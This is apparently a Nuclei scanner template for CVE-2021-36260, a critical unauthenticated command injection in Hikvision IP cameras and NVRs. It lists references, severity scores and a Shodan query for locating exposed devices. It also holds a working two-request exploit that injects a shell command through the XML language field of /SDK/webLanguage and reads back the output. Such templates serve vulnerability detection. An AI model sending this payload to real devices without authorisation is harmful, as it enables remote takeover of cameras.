id: CVE-2021-36260

info:
  name: Hikvision IP camera/NVR - Remote Command Execution
  author: pdteam,gy741
  severity: critical
  description: Certain Hikvision products contain a command injection vulnerability in the web server due to the insufficient input validation. An attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.
  reference:
    - https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
    - https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36260
    - https://github.com/Aiminsun/CVE-2021-36260
    - https://therecord.media/experts-warn-of-widespread-exploitation-involving-hikvision-cameras/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-36260
    cwe-id: CWE-78
    epss-score: 0.97511
    cpe: cpe:2.3:o:hikvision:ds-2cd2026g2-iu\/sl_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: http.favicon.hash:999357577
    vendor: hikvision
    product: ds-2cd2026g2-iu\/sl_firmware
  tags: cve,cve2021,hikvision,rce,iot,intrusive,kev

http:
  - raw:
      - |
        PUT /SDK/webLanguage HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        <?xml version="1.0" encoding="UTF-8"?><language>$(id>webLib/x)</language>
      - |
        GET /x HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "contains(body_2,'uid=') && contains(body_2,'gid=')"
          - "status_code_1 == 500 && status_code_2 == 200"
        condition: and

    extractors:
      - type: regex
        regex:
          - "(u|g)id=.*"